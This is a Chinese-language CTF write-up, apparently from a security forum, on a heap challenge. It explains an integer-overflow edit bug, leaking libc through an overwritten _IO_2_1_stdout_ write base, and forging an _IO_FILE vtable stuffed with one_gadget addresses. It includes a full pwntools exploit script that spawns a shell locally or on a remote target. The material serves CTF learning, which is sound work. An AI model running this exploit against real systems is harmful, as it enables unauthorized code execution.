名字叫堆感觉做题和堆没有半毛钱关系啊0.0(。。。开玩笑的)。难道又是一道非预期解。不过这题按道理也存在非预期的现象。
可以省略不给出堆的地址。
按道理可以直接用IO FILE 泄露的
后文解释怎么搞的吧。
在edite 功能发现一个整型溢出
利用这个漏洞可以改上面任意一个不为零的地方指针指向的位置
刚开始并不知道怎么做。就瞎几把百度了几下,果然发现了。
比如在百度的框框中输入(CTF_IO_2_1_stdout_ 泄露基址)之类等等就可以找到。
看了几篇文章
个人感觉这个小兄弟写的最好
https://www.secpulse.com/archives/111304.html
其次是这个小兄弟
https://xz.aliyun.com/t/5057#toc-0
文章说了一大堆东西。。。。。。
然后我总结一点
修改图中的这个位置就可以泄露libc地址
看到主分配器离IO FILE 还是挺近的,就在它的脑壳上面。
将IO FILE 的 _IO_write_base修改0x7ffff7dd3760 就可泄露堆地址了
怎么改
payload=p64(0xfbad1800) + p64(0)*3 + "\x60\x37"#"\x20"
类似上面的payload就行了。
丢一张泄露程序堆地址的图
下面给各位师傅讲一下菜鸡的做法吧。
感觉和其他的可能不一样。。。。。。。。。。。。。。。。。。。。
转成结构的时候发现这么个东西。
虚表可是好东西。存在函数指针这么些的鬼玩意。
进去看了下果然是一大堆的函数
既然可以编辑和泄露_IO_FILE,那么何不伪造一个呢?然后改下它的虚表干点坏事岂不乐哉?
总结下就是伪造 _IO_FILE 让它的虚表指向堆伪造的地方。至于堆中填什么呢?
这里比较暴力,没有去详细的跟虚表的调用顺序了。把它全部塞满了one_gadget ..................................................................0.0
如图,one_gadget 全家桶
from pwn import * import sys import time context.arch = 'amd64' remote_=0 if len(sys.argv) < 2: e = ELF("/lib/x86_64-linux-gnu/libc.so.6") _IO_2_1_stdin_off= e.symbols['_IO_2_1_stdin_'] one_gadget_off=0xEA36D _IO_wide_data_off=0x3C34E0 _IO_stdfile_1_lock_off=0x3C49E0 p = process('./pwn') context.log_level = 'debug' gdb.attach(p,'b *0x555555554F43\nb *0x555555555120\nb *0x555555554DFB')#add edit puts_menu else: remote_=1 #context.log_level = 'debug' e = ELF("./server_libc-2.23.so") _IO_2_1_stdin_off= e.symbols['_IO_2_1_stdin_'] one_gadget_off=0xF02A4 _IO_wide_data_off=0x3C49C0 _IO_stdfile_1_lock_off=0x3C6780 p = remote(sys.argv[1], int(sys.argv[2]))# def add(size): p.recvuntil('>>') p.sendline('1') p.recvuntil('Input size : ') p.sendline(str(size)) def edit(idx,text): p.recvuntil('>>') p.sendline('3') p.recvuntil('Input idx : ') p.sendline(str(idx)) p.recvuntil('Input text : ') p.sendline(text) def delete(idx): p.recvuntil('>>') p.sendline('2') p.recvuntil('Input idx : ') p.sendline(str(idx)) def exp(): add(0x300) p.recvuntil('heap 0 : 0x') Heap=int(p.recv(12),16) print "[+] Heap addr="+hex(Heap) if remote_: payload=p64(0xfbad1800) + p64(0)*3 + "\x20"#"\x20" else: payload=p64(0xfbad1800) + p64(0)*3 + "\x00"#"\x20" edit(-6,payload) junk1=p.recv(0x10*6)+p.recv(0x8) stdin=p.recv(0x8) junk2=p.recv(0x10) data=junk1+stdin+junk2 #print data.encode('hex') libc_base=u64(stdin)-_IO_2_1_stdin_off print "[+] libc base="+hex(libc_base) one_gadget=libc_base+one_gadget_off payload=p64(0x0)*2+p64(one_gadget)*18+p64(0x0000000000000000) edit(0,payload) _IO_wide_data=libc_base+_IO_wide_data_off _IO_stdfile_1_lock=libc_base+_IO_stdfile_1_lock_off #Heap=0x0000555555757010 payload=data+p64(0x49000000)+p64(_IO_stdfile_1_lock)+p64(0xffffffffffffffff)+p64(0x0)+p64(_IO_wide_data)+p64(0x0)*3+p64(0xffffffff)+p64(0x0)*2+p64(Heap)#fake _IO_2_1_stdout_ edit(-6,payload) log.info('get shell!!') p.interactive() if __name__ == '__main__': exp()
[培训]《安卓高级研修班》彻底搞定函数抽取型壳!现在报名得源码和安卓8.1脱壳机!10月20日深圳专场不见不散!
最后于 19小时前 被大帅锅编辑 ,原因: